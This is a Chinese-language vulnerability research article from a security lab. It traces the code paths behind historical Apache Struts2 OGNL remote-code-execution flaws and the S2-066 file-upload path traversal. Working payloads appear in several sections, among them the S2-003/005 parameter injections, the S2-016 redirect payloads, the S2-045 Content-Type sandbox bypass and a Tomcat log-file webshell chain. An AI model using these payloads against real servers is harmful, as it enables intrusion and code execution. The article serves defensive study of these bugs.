freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Struts2 历史 RCE 的学习与研究:附最新 S2-066(CVE-2023-50164)
知道创宇404实验室 2023-12-14 14:27:36 271341

1.前言

为了初步掌握 Struts2,我复现了 Struts2 框架中的漏洞系列。尽管网络上存在许多详细分析的文章,但亲自动手编写更有助于深入理解其中的逻辑。对于希望快速了解 Struts2 漏洞系列的读者,可以参考本文,其中已经省略了大部分类似的漏洞分析。此外,在撰写本文的结尾时,正好爆出了 CVE-2023-50164(即 S2-066),该漏洞也在文章末尾进行了分析。

2.框架概述

Struts 是一个开源的、用于构建企业级 Java Web 应用程序的 MVC (Model-View-Controller) 框架。它提供了一种组织和管理 Web 应用的方法,以及在应用程序的各个层次之间进行清晰划分的机制。Struts2框架大致处理流程如下:

image


图1 Struts2流程图

2.1 Struts2 配置简介

Struts2 的配置文件是 struts.xml,它位于 WEB-INF/classes目录下。struts.xml 文件主要用于配置 Action 和请求的对应关系,以及配置逻辑视图和物理视图的对应关系。

2.1.2 Action 配置

Action 配置用于配置 Action 的名称、类路径、方法名等信息。Action 配置的标签是 action

<action name="hello" class="com.example.HelloAction" method="execute">
</action>

2.1.3 请求映射

请求映射用于配置请求路径与 Action 的对应关系。请求映射的标签是 url-mapping

<url-mapping pattern="/hello" />

2.1.4 视图配置

视图配置用于配置请求处理完成后返回的页面。视图配置的标签是 result

<result name="success" type="dispatcher">
  <param name="location">success.jsp</param>
</result>

3.漏洞复现

3.1 环境搭建

1、首先推荐使用官方showcase,选择对应漏洞版本,下载struts-x.x.x-apps.zip,解压后在IDEA中部署showcase的war包即可。例如:访问链接https://archive.apache.org/dist/struts/,找到对应版本,进行安装部署即可。

2、使用以下命令从GitHub将存储库克隆到本地环境:

git clone https://github.com/xhycccc/Struts2-Vuln-Demo.git

然后,使用IDEA打开项目并执行运行操作即可。

3.2 s2-003

CVE-2008-6504

3.2.1 漏洞描述

该漏洞主要原因是 Struts2 框架里 ParametersInterceptor 拦截器中的 Ognl 表达式解析器存在安全漏洞。这个漏洞允许恶意用户绕过 ParametersInterceptor 中内置的“#”使用保护,从而能够操纵服务器端上下文对象。

具体来说,当 ParametersInterceptor 拦截器处理请求时,它会使用 Ognl 表达式解析器来解析请求参数。Ognl 表达式是一种强大的表达式语言,可以访问和操作任意对象。

恶意用户可以通过构造恶意的 Ognl 表达式来绕过 ParametersInterceptor 中内置的“#”使用保护。

3.2.2 影响版本

Struts 2.0.0 - Struts 2.1.8.1

3.2.3 漏洞分析

下面通过梳理几个特性逐步来进行漏洞分析。

3.2.3.1 特殊符号过滤

com.opensymphony.xwork2.interceptor.ParametersInterceptor#acceptableName中,对传入的name进行了判断,具体代码如下:

protected boolean acceptableName(String name) {
    return name.indexOf(61) == -1 && name.indexOf(44) == -1 && name.indexOf(35) == -1 && name.indexOf(58) == -1 && !this.isExcluded(name);
}
编码ASCII
61=
44,
35#
58:
3.2.3.2 Context

通过传入#context,会将表达式解析为ASTVarRef树类型,从而调用到ognl.OgnlContext#get方法,当key值为context时,即可获取到当前的上下文this值,#context['xwork.MethodAccessor.denyMethodExecution']=false可以操作对应的属性,如图2所示。

image


图2 ognl.OgnlContext#get
3.2.3.3 AST树

在compile中会调用关键函数Ognl.parseExpression解析给定的OGNL表达式并返回一个表达式的树形表示,该表示可以被Ognl静态方法使用。

public static Object compile(String expression) throws OgnlException {
    synchronized(expressions) {
        Object o = expressions.get(expression);
        if (o == null) {
            o = Ognl.parseExpression(expression);
            expressions.put(expression, o);
        }

        return o;
    }
}

简单来说就是将对应表达式按照表现形式进行分类成不同的树,对不同的树会调用不同的函数进行处理。

同时,该函数也会将unicode编码解析,如图3(漏洞利用的关键之一在于使用Unicode编码来绕过前述的特殊符号过滤。)

image


图3 AST树

漏洞的触发方式采用 ASTEval 的树形结构,具体表现为 "(x)(x)..." 的形式。下面简要描述将 context 的xwork.MethodAccessor.denyMethodExecution赋值为false的过程:

例如有一个payload:

(#context[’xwork.MethodAccessor.denyMethodExecution‘]=false)(test1)(test2)

令a为#context[’xwork.MethodAccessor.denyMethodExecution‘]=false、b为test1、c为test2,首先将(a)(b)(c)判定为ASTEval

调用n.setValue(ognlContext, root, value),n即为(a)(b)(c)对应的树对象类型(ASTEval)
evaluateSetValueBody、setValueBody
取children[0]即(a)(b)的树类型.getValue、evaluateGetValueBody、getValueBody
取children[0]即a的树类型.getValue、evaluateGetValueBody、getValueBody
取到#context['xwork.MethodAccessor.denyMethodExecution']=false赋值给expr
取children[1]即test的树类型.getValue、evaluateGetValueBody、getValueBody、getProperty #取到test1值
node.getValue //node即为expr的树形式(ASTAssign).getValue ,expr此时为#context[’xwork.MethodAccessor.denyMethodExecution‘]=false
evaluateGetValueBody、getValueBody
取children[1]即false的树类型.getValue、evaluateGetValueBody、getValueBody #取到false值
取children[0]即#context["xwork.MethodAccessor.denyMethodExecution"]的树类型.setValue、evaluateSetValueBody、setValueBody
取children[0]即#context的树类型.getValue、evaluateGetValueBody、getValueBody //取到context对应值
取children[1]即["xwork.MethodAccessor.denyMethodExecution"]的树类型.setValue //这里同时传入value为false的值、evaluateSetValueBody、setValueBody、setProperty
取children[0]即"xwork.MethodAccessor.denyMethodExecution"的树类型.getValue、evaluateGetValueBody、getValueBody //取到xwork.MethodAccessor.denyMethodExecution
setProperty
...设置xwork.MethodAccessor.denyMethodExecution为false等操作

总体而言,该原理较易理解,但其具体步骤相对繁琐。强烈建议读者亲自尝试一遍,并可参考以下文章《浅析OGNL表达式求值》[1]进行辅助学习。

3.2.3.4 触发的核心逻辑:

本质就是xwork的漏洞,使用到了OgnlUtil.setValue,例如直接在低版本xwork环境下运行如下命令即可rce,图4所示。

OgnlContext ognlContext = new OgnlContext();
OgnlUtil.setValue("('@java.lang.Runtime@getRuntime().exec(\\'calc\\')')('sf1')('sf2')",ognlContext,null,"");

image


图4 setValue可RCE

图5为Structs2的xwork中同样使用到了OgnlUtil.setValue

image


图5 com.opensymphony.xwork2.util.OgnlValueStack#setValue

根据网上的PoC,我们可以了解到,需要将contextxwork.MethodAccessor.denyMethodExecution值设置为false。现在我们来分析一下原因:在 Struts2 启动时,系统默认将Object.class的方法访问器设置为XWorkMethodAccessor对象,具体如图6所示。

image


图6 com.opensymphony.xwork2.util.OgnlValueStack#reset


在后续的 Struts2 执行过程中,系统会根据类名查找相应的方法访问器。如果未能找到与 Runtime 类匹配的方法访问器,系统将调用其getSuperclass方法,其超类为Object.class。随后,系统将Object的方法访问器(XWorkMethodAccessor)赋予 Runtime 对象,如图7所示。

image


图7 ognl.OgnlRuntime#getHandler


在整个过程中,最终调用了XWorkMethodAccessorcallStaticMethod方法,以获取 Runtime 对象,详见图8。

image


图8 调用callStaticMethod

在该方法内部,通过判断xwork.MethodAccessor.denyMethodExecution的值是否为false,确定是否调用后续的callStaticMethod方法,具体可见图9。

image


图9 判断xwork.MethodAccessor.denyMethodExecution值


回过头再看本地环境,发现 Object 并没有将初始化Object.class的方法访问器设置为XWorkMethodAccessor对象,而是默认为ObjectMethodAccessor。因此,无需检查xwork.MethodAccessor.denyMethodExecution的值,即可直接调用,导致了远程代码执行(RCE)漏洞,详见图10。

image


图10 OgnlRuntime.class

总结一下上述内容:在Struts2中,如果传入的表达式类型为ASTStaticMethod,将调用OgnlRuntime的callStaticMethod方法,而由于struts2中的xwork定义了Object.class的方法访问器为XWorkMethodAccessor对象,所以导致流程进入XWorkMethodAccessor.callStaticMethod。本地的OgnlUtil.setValue并没有指定Object.class的方法访问器,因此默认为ObjectMethodAccessor,无需判断xwork.MethodAccessor.denyMethodExecution的值,直接调用可导致RCE。


总结一下上述内容:在Struts2中,如果传入的表达式类型为ASTStaticMethod,将调用OgnlRuntime的callStaticMethod方法,而由于struts2中的xwork定义了Object.class的方法访问器为XWorkMethodAccessor对象,所以导致流程进入XWorkMethodAccessor.callStaticMethod。本地的OgnlUtil.setValue并没有指定Object.class的方法访问器,因此默认为ObjectMethodAccessor,无需判断xwork.MethodAccessor.denyMethodExecution的值,直接调用可导致RCE。


基于上述信息,Struts2 中的漏洞利用PoC可总结如下:

(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(sf1)(sf2)&(%27\u0023su26\u003d@java.lang.Runtime@getRuntime().exec(\%27calc\%27)%27)(sf1)(sf2)

3.2.4 拓展

上述文本中提到,只有当调用的表达式类型为ASTStaticMethod时,才会触发OgnlRuntimecallStaticMethod方法。通过不传入ASTStaticMethod类型的表达式,我们可以绕过对xwork.MethodAccessor.denyMethodExecution值的判断。

在创建对象new Object时,实质上是调用ASTCtor类型的结构表达式。这引发了一个问题:是否存在一种危险的Object对象,使得调用 "new Object()" 可以实现远程代码执行(RCE)?理论上,这是可行的。

在 Struts2 中,可以自定义一个类来模拟一个危险的类文件,如下所示:

package com.test.self;
import java.io.IOException;

public class Student {
    public Student(String cmd) throws IOException {
        Runtime.getRuntime().exec(cmd);
    }
}

输入如下payload即可弹出计算器,绕过设置xwork.MethodAccessor.denyMethodExecution限制,如图11。

(new com.test.self.Student(new java.lang.String("calc")))(sf1)(sf2)

image


图11 绕过xwork.MethodAccessor.denyMethodExecution限制


在实际情境中,若在 Struts2 中整合了 Spring 框架,便可以通过利用new ClassPathXmlApplicationContextFileSystemXmlApplicationContext远程加载配置,从而实现上述的 RCE 效果。在此仅提供思路,读者如有兴趣可深入探索。

3.3 S2-005

CVE-2010-1870

3.3.1 漏洞描述

该漏洞是对S2-003的补丁绕过,将“_memberAccess.excludeProperties” 属性的值设置为空集合,从而允许访问所有属性。

3.3.2 影响版本

Struts 2.0.0 - Struts 2.1.8.1

3.3.3 漏洞分析

S005漏洞实质上是对S003的绕过。在callAppropriateMethod处设置了断点,调试一下新的执行流程,详见图12。

image


图12 ognl.OgnlRuntime#isMethodAccessible


PoC执行失败的主要原因是位于以下位置的context.getMemberAccess().isAccessible

public static final boolean isMethodAccessible(OgnlContext context, Object target, Method method, String propertyName) {
    return method == null ? false : context.getMemberAccess().isAccessible(context, target, method, propertyName);
}

此处在修复补丁中继承DefaultMemberAccess并重写了isAccessible方法,如图13:

image


图13 重写isAccessible


定义了SecurityMemberAccess为新的memberAccess,如图14。

image


图14 com.opensymphony.xwork2.util.OgnlValueStack#setRoot


所以后续判断交给SecurityMemberAccessisAccessible方法进行处理(默认为DefaultMemberAccess),如果传入的是ASTStaticMethod类型表达式,调用到callStaticMethod方法paramName默认为null,会引起空指针造成中断(PoC失败的主要问题),如图15:

image


图15 com.opensymphony.xwork2.util.SecurityMemberAccess#isExcluded


为了继续执行,需要将this.excludeProperties设置为空,以防止其进入if结构。那么如何修改this.excludeProperties的值呢?

OgnlContext.class中,ognl.OgnlContext#get可根据名称来调用对应的对象(此处和调用#context同理),通过_memberAccess可以获取对应的this.getMemberAccess()对象,如图16。

image


图16 ognl.ASTVarRef#getValueBody

所以可以构造如下payload来修改context中的memberAccess值,其他和S003内容不变。


所以可以构造如下payload来修改context中的memberAccess值,其他和S003内容不变。


#_memberAccess.excludeProperties=@java.util.Collections@EMPTY_SET

原理分析,不考虑其他特殊情况,最终可用的 payload 如下:

(%27\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET%27)(sf1)(sf2)&(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(sf1)(sf2)&(%27\u0023su26\u003d@java.lang.Runtime@getRuntime().exec(\%27calc\%27)%27)(sf1)(sf2)

3.4 S2-013

CVE-2013-1966

3.4.1 漏洞描述

当 Struts2 处理使用includeParams="all"的标签时,它会将所有请求参数解析为 OGNL 表达式。

3.4.2 影响版本

Struts 2.0.0 - Struts 2.3.14.1

3.4.3 漏洞分析

S013和S001大多类似,S001在doEndTag中触发,而s013在doStartTag中触发,同理漏洞不再做重复分析。

在jsp中定义如下内容:

<p><s:a id="link1" action="link" includeParams="all">"s:a" tag</s:a></p>
<p><s:url id="link2" action="link" includeParams="all">"s:url" tag</s:url></p>

在解析jsp文件时,会调用到ComponentTagSupport中的doStartTagdoStartTag又相继调用后续逻辑。

3.4.3.1 关键点1

当配置includeParamsall时,会调用到this.includeGetParameters,从而进入到后面OGNL解析中,如图17。

image


图17 配置includeParams为all进入的逻辑


3.4.3.2 关键点2

在Struts2更新的某个版本中,translateVariables开始支持$,意味着可以通过${}、%{}的形式去构造payload,如图18。

image


图18 translateVariables


跟一遍translateVariables的调用,接下来的逻辑将再次涉及到常见的getValue阶段,如图19所示。

image


图19 translateVariables的后续进入getValue


这里的调用栈为:

getValue:366, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValue:354, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValueWhenExpressionIsNotNull:329, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:313, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:374, OgnlValueStack (com.opensymphony.xwork2.ognl)
evaluate:161, TextParseUtil$1 (com.opensymphony.xwork2.util)
evaluate:49, OgnlTextParser (com.opensymphony.xwork2.util)
translateVariables:171, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:130, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:52, TextParseUtil (com.opensymphony.xwork2.util)

总结:在translateVariables函数中,如果传入的是 OGNL 表达式,例如${}%{},将触发类似于 S2-003 的逻辑解析,可能导致远程代码执行(RCE)漏洞。后续分析不再跟进translateVariables。

3.4.3 结论

由于上面提到,支持%{}和${}两种格式,所以如下两种payload都可用,S2-014直接用第二个payload即可:

%{\u0023_memberAccess[\u0027allowStaticMethodAccess\u0027]\u003dtrue,@java.lang.Runtime@getRuntime().exec(\u0027calc\u0027)}
或者
${\u0023_memberAccess[\u0027allowStaticMethodAccess\u0027]\u003dtrue,@java.lang.Runtime@getRuntime().exec(\u0027calc\u0027)}

最后贴一下调用链:

translateVariable:287, UrlHelper (org.apache.struts2.views.util)
translateAndEncode:263, UrlHelper (org.apache.struts2.views.util)
buildParameterSubstring:250, UrlHelper (org.apache.struts2.views.util)
buildParametersString:229, UrlHelper (org.apache.struts2.views.util)
buildParametersString:194, UrlHelper (org.apache.struts2.views.util)
buildUrl:172, UrlHelper (org.apache.struts2.views.util)
determineActionURL:410, Component (org.apache.struts2.components)
determineActionURL:68, ComponentUrlProvider (org.apache.struts2.components)
renderUrl:74, ServletUrlRenderer (org.apache.struts2.components)
evaluateExtraParams:107, Anchor (org.apache.struts2.components)
evaluateParams:856, UIBean (org.apache.struts2.components)
start:57, ClosingUIBean (org.apache.struts2.components)
start:132, Anchor (org.apache.struts2.components)
doStartTag:53, ComponentTagSupport (org.apache.struts2.views.jsp)
_jspx_meth_s_005fa_005f0:15, index_jsp (org.apache.jsp)

3.5 s2-016

CVE-2013-2251

3.5.1 漏洞描述

在 Struts2 框架中,DefaultActionMapper类的actionMapping 方法用于解析请求参数中的导航信息。该方法首先会检查请求参数是否以 "action:"、"redirect:" 或 "redirectAction:" 为前缀。如果是,则该方法将会解析请求参数中的导航目标表达式。

该漏洞是由于DefaultActionMapper 类的actionMapping 方法在解析请求参数时,没有对请求参数中的恶意表达式进行过滤。因此,恶意用户可以通过构造恶意的请求参数来执行任意代码。

3.5.2 影响版本

Struts 2.0.0 - Struts 2.3.15

3.5.3 漏洞分析

该漏洞涉及两个点:

1、当重定向时,会将传递的重定向地址进行二次解析(S2-012的漏洞主要原因,同理漏洞故只分析S2-016)

2、当使用action:等前缀时,会导致执行对应的execuite方法

StrutsPrepareAndExecuteFilter#doFilter方法中调用,如下图所示(见图20)。

image


图20 StrutsPrepareAndExecuteFilter#doFilter

调用DefaultActionMapper#getMapping,如图21:


调用DefaultActionMapper#getMapping,如图21:


image


图21 DefaultActionMapper#getMapping


随后调用DefaultActionMapper#handleSpecialParameters,如图22:

image


图22 DefaultActionMapper#handleSpecialParameters


DefaultActionMapper#handleSpecialParameters中通过this.prefixTrie.get(key)来获取对应的parameterAction值,如图23。

image


图23 DefaultActionMapper#handleSpecialParameters


this.prefixTrie的值定义如下,所以当key值有不同的prefix,就会获取到不同的ParameterAction对象去执行execute()

public DefaultActionMapper() {
    this.prefixTrie = new PrefixTrie() {
        {
            this.put("method:", new ParameterAction() {
                public void execute(String key, ActionMapping mapping) {
                    if (DefaultActionMapper.this.allowDynamicMethodCalls) {
                        mapping.setMethod(key.substring("method:".length()));
                    }

                }
            });
            this.put("action:", new ParameterAction() {
                public void execute(String key, ActionMapping mapping) {
                    String name = key.substring("action:".length());
                    if (DefaultActionMapper.this.allowDynamicMethodCalls) {
                        int bang = name.indexOf(33);
                        if (bang != -1) {
                            String method = name.substring(bang + 1);
                            mapping.setMethod(method);
                            name = name.substring(0, bang);
                        }
                    }

                    mapping.setName(name);
                }
            });
            this.put("redirect:", new ParameterAction() {
                public void execute(String key, ActionMapping mapping) {
                    ServletRedirectResult redirect = new ServletRedirectResult();
                    DefaultActionMapper.this.container.inject(redirect);
                    redirect.setLocation(key.substring("redirect:".length()));
                    mapping.setResult(redirect);
                }
            });
            this.put("redirectAction:", new ParameterAction() {
                public void execute(String key, ActionMapping mapping) {
                    String location = key.substring("redirectAction:".length());
                    ServletRedirectResult redirect = new ServletRedirectResult();
                    DefaultActionMapper.this.container.inject(redirect);
                    String extension = DefaultActionMapper.this.getDefaultExtension();
                    if (extension != null && extension.length() > 0) {
                        location = location + "." + extension;
                    }

                    redirect.setLocation(location);
                    mapping.setResult(redirect);
                }
            });
        }
    };
}

s016的漏洞在redirect:``、redirectAction:中触发,举例当key前缀为redirectAction时,会将redirectAction设置为location,如图24。

image


图24 parameterAction.execute


location的值变为${new java.lang.ProcessBuilder(new java.lang.String[]{"calc"}).start()}.action

在后续中StrutsResultSupport#execute调用到如下代码,将this.location传入conditionalParse

public void execute(ActionInvocation invocation) throws Exception {
    this.lastFinalLocation = this.conditionalParse(this.location, invocation);
    this.doExecute(this.lastFinalLocation, invocation);
}

接着conditionalParse调用了TextParseUtil.translateVariables导致后续的代码执行,如图25。实质上在S2的众多历史洞中都会调用到TextParseUtil.translateVariable造成RCE,TextParseUtil.translateVariables的后续逻辑也和s003等的漏洞原理相同。

image


图25 TextParseUtil.translateVariables


最终payload为:

redirectAction:${new%20java.lang.ProcessBuilder(new%20java.lang.String[]{"calc"}).start()}
redirect:${new%20java.lang.ProcessBuilder(new%20java.lang.String[]{"calc"}).start()}

3.6 S2-020

CVE-2014-0094

3.6.1 漏洞描述

该漏洞是由于 Struts 2 框架中 ParametersInterceptor 拦截器的 class 参数存在安全漏洞导致的。该漏洞允许恶意用户通过构造恶意的 class 参数来操纵类加载器,从而执行任意代码。

具体来说,当 ParametersInterceptor 拦截器处理请求时,它会检查请求参数中是否存在名为“class”的参数。如果存在,则拦截器会将该参数解析为一个类的名称。

3.6.2 影响版本

Struts 2.0.0 - Struts 2.3.16.1

3.6.3 漏洞分析

漏洞的触发机制与之前分析的 S2-003 和 S2-0005 相同,实际上可以看作是对 S2-003、S2-005 的另一种利用方式。下面进行漏洞效果的演示:

首先,访问以下URL,即可触发将docBase路径修改为C:/Users/Public/Downloads的操作。

这时候可以直接通过Url访问到C:/Users/Public/Downloads的资源了,如图26:

image


图26 任意文件读取


分析一下代码逻辑,首先传递class.classLoader.resources.dirContext.docBase=C:/Users/Public/Downloads

前面部分逻辑与s003相同,直接进入ognl.OgnlRuntime#getDeclaredMethods打下断点。

分析如下代码,baseName就是传递的class值,在ms中寻找符合以Class结尾的方法名,并且在后续再次判断以set、get或者is开头。所以当传递class后,这里getClass符合,于是就得到了getClass(),如图27。

image


图27 ognl.OgnlRuntime#getDeclaredMethods


接下来的同理,当传入classloader继续判断是否以ClassLoader结尾,并且在后续再次判断以set、get或者is开头,最终得到getClassLoader,后续遍历步骤同理省略。

所以理一下,传递class.classLoad er.resources.dirContext.docBase实质是传递了getClass().getClassLoader().getResource().getDirContext().setDocBase()

可以使用yiran4827编写的脚本[2]运行符合set、get、is开头的调用链。

<%@ page language="java" import="java.lang.reflect.*" %>
<%!public void processClass(Object instance, javax.servlet.jsp.JspWriter out, java.util.HashSet set, String poc){
	try {
	    Class<?> c = instance.getClass();
	    set.add(instance);
	    Method[] allMethods = c.getMethods();
	    for (Method m : allMethods) {
		if (!m.getName().startsWith("set")) {
		    continue;
		}
		if (!m.toGenericString().startsWith("public")) {
		    continue;
		}
		Class<?>[] pType  = m.getParameterTypes();
		if(pType.length!=1) continue;
		
		if(pType[0].getName().equals("java.lang.String")||
		pType[0].getName().equals("boolean")||
		pType[0].getName().equals("int")){
			String fieldName = m.getName().substring(3,4).toLowerCase()+m.getName().substring(4);
			out.print(poc+"."+fieldName + "<br>

");
		}
	    }
	    for (Method m : allMethods) {
		if (!m.getName().startsWith("get")) {
		    continue;
		}
		if (!m.toGenericString().startsWith("public")) {
		    continue;
		}		
		Class<?>[] pType  = m.getParameterTypes();
		if(pType.length!=0) continue;
		if(m.getReturnType() == Void.TYPE) continue;
		Object o = m.invoke(instance);
		if(o!=null)
		{
			if(set.contains(o)) continue;
			processClass(o,out, set, poc+"."+m.getName().substring(3,4).toLowerCase()+m.getName().substring(4));	
		} 
	    }
	} catch (java.io.IOException x) {
	    x.printStackTrace();
	} catch (java.lang.IllegalAccessException x) {
	    x.printStackTrace();
	} catch (java.lang.reflect.InvocationTargetException x) {
	    x.printStackTrace();
	} 	
}%>
<%
java.util.HashSet set = new java.util.HashSet<Object>();
String poc = "class.classLoader";
example.HelloWorld action = new example.HelloWorld();
processClass(action.getClass().getClassLoader(),out,set,poc);
%>

最终在结果中筛选过滤出如下方法,可以通过控制tomcat上生成access log的文件名、文件位置、文件后缀以及日志日期(日期不同则生成新文件)、最后再访问一条带shell的url链接,即可将shell内容写进文件:

class.classLoader.resources.context.parent.pipeline.first.directory =webapps/ROOT
class.classLoader.resources.context.parent.pipeline.first.prefix =shell
class.classLoader.resources.context.parent.pipeline.first.suffix = .jsp
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat =1
<%Runtime.getRuntime.exec("calc");%>

在不同版本的 Tomcat 中,可能不存在该利用链。笔者在 Tomcat 8.0.20 上成功复现了如上利用链。

3.7 S2-045

CVE-2017-5638

3.7.1 漏洞描述

该漏洞是由于 Struts2 框架中Jakarta Multipart parser在处理文件上传时存在安全漏洞导致的。该漏洞允许恶意用户通过构造恶意的 Content-Type 头来执行任意代码。

当传入非法的Content-type会引发JakartaMultiPartRequest类报错,并调用buildErrorMessage()方法处理错误contentType信息。该函数内部使用到了TextParseUtil.translateVariables去处理了报错信息,造成了OGNL表达式解析。

3.7.2 影响版本

Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

3.7.3 漏洞分析

漏洞执行流程:

parse——>processUpload()——>...——>getItemIterator——>new FileItemIteratorImpl,FileItemIteratorImpl构造方法代码如下。当contentType值不以multipart/开头,则会触发报错,并将contentType内容拼接进去:

FileItemIteratorImpl(RequestContext ctx) throws FileUploadException, IOException {
            if (ctx == null) {
                throw new NullPointerException("ctx parameter");
            } else {
                String contentType = ctx.getContentType();
                if (null != contentType && contentType.toLowerCase(Locale.ENGLISH).startsWith("multipart/")) {...} else {
                    throw new InvalidContentTypeException(String.format("the request doesn't contain a %s or %s stream, content type header is %s", "multipart/form-data", "multipart/mixed", contentType));
                }
            }
        }

报错后进入catch语句调用——>buildErrorMessage(传递进了捕获的contentType异常)——>findText——>getDefaultMessage,getDefaultMessage代码如图28:

image


图28 com.opensymphony.xwork2.util.LocalizedTextUtil#getDefaultMessage


上文中提到过TextParseUtil.translateVariables会造成OGNL解析,不再赘述,这里可用的payload为:

Content-Type: -multipart/form-data-%{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')}

3.7.4 拓展分析

在2.3.29版本后,无法使用#_memberAccess获取对应的this.getMemberAccess()对象,意味着不能使用该方法设置SecurityMemberAccess对象了。

3.7.4.1 关键点1

ognl.Ognl#addDefaultContext中,将memberAccess(SecurityMemberAccess)的对象使用setMemberAccess赋值给了result(OgnlContext)时,它们实际上是引用了相同的对象。这样的操作是按引用传递的,即两个变量引用的是同一个对象,如图29。

image


图29 ognl.Ognl#addDefaultContext



即:修改OgnlContext._memberAccess会影响到OgnlValueStack.securityMemberAccess

3.7.4.2 关键点2

使用等号直接将一个对象赋给另一个对象,同样是按照引用传递的方式,它们也会引用相同的对象,如图30。

image


图30 OgnlValueStack#setOgnlUtil


即:修改OgnlUtil.excludedClasses会影响到securityMemberAccess.excludedClasses

3.7.4.3 关键点3

com.opensymphony.xwork2.inject.Container接口的对象,负责管理和提供应用程序中各个组件(如 Action 类、拦截器、结果类型等)的依赖注入。

可以使用#context['com.opensymphony.xwork2.ActionContext.container']获取到Container对象。

例如获取容器并使用容器获取OgnlUtil实例:

#container = #context['com.opensymphony.xwork2.ActionContext.container']
#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)
3.7.4.4 关键点4

在官方的防护中又加了一种防护策略,检测是不是ASTSequence即exp1,exp2或 ASTEval即(exp1)(exp2)树类型。

private void checkEnableEvalExpression(Object tree, Map<String, Object> context) throws OgnlException {
    if (!this.enableEvalExpression && this.isEvalExpression(tree, context)) {
        throw new OgnlException("Eval expressions has been disabled!");
    }
}

网上绕过思路,使用(exp1).(exp2)即ASTChain

3.7.5 总结利用

总结以上几点我们可以通过如下操作:

1、通过setMemberAcces将context设置为@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS

#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)

2、但当调用setMemberAccess又会被SecurityMemberAccessthis.excludedPackageNamesthis.excludedClasses黑名单拦截,所以我们需要清空这两个属性,如图31。

image


图31 this.excludedeClasses


3、由上诉可知this.excludedPackageNamesthis.excludedClasses可以通过OgnlUtil来操作,所以我们可以利用Container获取OgnlUtil实例并且清空SecurityMemberAccess

所以最终的payload为:

Content-Type: -multipart/form-data-%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc'))}

3.8 S2-066

CVE-2023-50164

3.8.1 漏洞描述

通过控制文件上传参数首字母大写,Struts2会自动匹配调用其对应的set方法,并且让后台自动生成的参数UploadFileName的首写字母为大写,又因为Treemap的排序特性,大写字母排序比小写字母在更前面,导致系统生成的UploadFileName优先赋值后,攻击者传入的uploadFileName(小写开头)覆盖了系统设置的文件名称,最终导致了目录穿越。

3.8.2 影响版本

Struts 2.0.0 - Struts 2.3.37 , Struts 2.5.0 - Struts 2.5.32, Struts 6.0.0 - Struts 6.3.0

3.8.3 漏洞分析

在我快完成 Struts2 系列文章的次日,便发现了 Struts2 框架又出了一个新漏洞,即 S2-066。通过对相关补丁和官方公告进行分析和复现:

首先看一下补丁对比[3],根据官方描述和补丁对比,漏洞发生在文件上传部分,且补充了remove功能,使其能够忽略大小写并移除重复的键值,如图32:

image


图32 Struts2补丁对比



图32 Struts2补丁对比



并且测试代码中包含大小写的参数的构造,如图33:

image


图33 Struts2补丁对比2


通过debug上传相关的处理器进行一步步调试,发现如下几个问题:

1、在debug过程中,发现在处理参数时,会多出uploadFileName、uploadContentType,经过调试发现如下信息,如图34:

image


图34 org.apache.struts2.interceptor.FileUploadInterceptor#intercept


首先注意到这几个参数同时出现在map中,而uploads参数是可控的。这表明可以直接构造传递uploadsFileNameuploadsContentType来控制这两个值。然而,经过实质性的测试后发现,这并未改变文件名。

2、修改uploads参数为uPloads、upLoads等非首字母大写的情况会上传不了文件,报错No File selected!

3、添加__multiselect_等字段会上传成功,并且能够自定义文件名,但是找不到上传过去了的文件,如图35。(经过调试,代码去除__multiselect_的前缀后将uploads的value设置为一个空值,意味着实质上没有任何文件被上传)

image


图35 提示上传成功但没文件落地

4、根据上面已经知道的信息,再加上仔细反复确认公告和补丁,在不断的手动fuzz最终成功构造出了PoC。即大写首字母Uploads。

3.8.4 二次分析

在没有 PoC的情况下,理解其中的原理确实比较困难。通过得到的 PoC 再次进入二次分析:

3.8.4.1 为什么只能首字母大写才能成功上传?

ognl.OgnlRuntime#getDeclaredMethods中,如果传入的值以baseName结尾,则会自动匹配当前类中的set、get、is方法,如图36。

image


图36 ognl.OgnlRuntime#getDeclaredMethods


例如我的文件上传Upload.java中有如下代码,传入Uploads则会自动获取对应的setUploads。

public void setUploads(File[] uploads) {
    this.uploads = uploads;
}
3.8.4.2 如何实现替换了uploadsfileName值的?

在使用ParametersInterceptor中设置传递的参数值时,默认采用了Treemap进行存储,对于字符串来说,TreeMap顺序是按照 Unicode 码点顺序进行比较的,即U的Unicode码值小于u,U会排在u前面。

所以当传递Uploads到服务器时,服务器自动生成的名称为UploadsFileName、此时我们传递了一个uploadFileName,又因为大写顺序在前的缘故,首先调用了服务器生成的UploadsFileName,将文件名设置为upload.png,再次调用了我们自己传递的uploadFileName,将文件名设置为了我们自定义的值,最终造成了目录穿越,如图37。

image


图37 漏洞利用成功


4.总结

分享一下我学完了 Struts2 历史漏洞的经验:

